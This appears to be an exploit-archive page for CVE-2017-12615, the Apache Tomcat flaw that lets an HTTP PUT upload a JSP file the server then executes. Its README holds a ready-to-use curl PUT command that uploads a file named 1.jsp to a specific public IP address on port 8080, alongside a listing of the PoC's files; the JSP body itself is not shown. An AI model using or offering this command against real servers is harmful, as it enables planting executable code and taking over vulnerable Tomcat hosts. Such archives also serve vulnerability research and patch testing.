Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%
Buy Us a Coffee

CVE-2017-12615 PoC — Apache Tomcat 安全漏洞

Source
https://github.com/Fa1c0n35/CVE-2017-12615
Associated Vulnerability
Title:Apache Tomcat 安全漏洞 (CVE-2017-12615)
Description:When running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
Description
Tomcat - PUT Method
Readme
curl -X  PUT http://34.124.205.159:8080/1.jsp/ -d @- < 1.jsp
File Snapshot

 [4.0K]  /data/pocs/7ff1df25fe220c468fea602d4fdaf2f51d84c227
├── [ 982]  1.jsp
└── [  61]  README.md

1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →